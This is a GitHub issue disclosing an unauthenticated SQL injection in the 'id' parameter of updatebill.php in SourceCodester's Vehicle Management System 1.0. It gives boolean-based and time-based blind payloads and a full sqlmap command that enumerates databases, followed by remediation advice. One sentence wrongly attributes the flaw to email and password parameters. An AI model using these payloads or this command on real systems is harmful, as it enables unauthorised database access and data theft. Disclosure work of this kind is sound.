Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester Vehicle Management System in PHP/MySQL 1.0 updatebill.php SQL injection #44

Open
CveSecLook opened this issue Jun 8, 2024 · 0 comments

Comments

@CveSecLook
Copy link
Owner

SourceCodester Vehicle Management System in PHP/MySQL 1.0 updatebill.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Vehicle Management System in PHP/MySQL

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • xuanluansec

Vulnerable File

  • updatebill.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'updatebill.php' file of the 'Vehicle Management System in PHP/MySQL' project. The reason for this issue is that attackers inject malicious code from the parameter "id" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of the "Vehicle Management System in PHP/MySQL" xuanluansec discovered a critical SQL injection vulnerability in the updatebill.php file. This vulnerability stems from inadequate validation of user inputs for the email and password parameters, allowing attackers to inject malicious SQL queries. As a result, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information. Immediate remediation is required to secure the system and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

  • boolean-based blind
  • time-based blind

Vulnerability location:

  • 'id' parameter

Payload:

     id=1' AND 6722=(SELECT (CASE WHEN (6722=6722) THEN 6722 ELSE (SELECT 3580 UNION SELECT 3808) END))-- -&salary=1&equipment=1&oil=1&tcost=1

     id=1' AND (SELECT 4159 FROM (SELECT(SLEEP(5)))bSHe)-- zHWk&salary=1&equipment=1&oil=1&tcost=1
    Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=1' AND 6722=(SELECT (CASE WHEN (6722=6722) THEN 6722 ELSE (SELECT 3580 UNION SELECT 3808) END))-- -&salary=1&equipment=1&oil=1&tcost=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 4159 FROM (SELECT(SLEEP(5)))bSHe)-- zHWk&salary=1&equipment=1&oil=1&tcost=1
  • 1

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

    python sqlmap.py -u "http://20.20.20.128:8118/updatebill.php" --data="id=1&salary=1&equipment=1&oil=1&tcost=1" --method=POST --dbms=mysql --level=5 --risk=3 --batch --dbs
  • 2

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant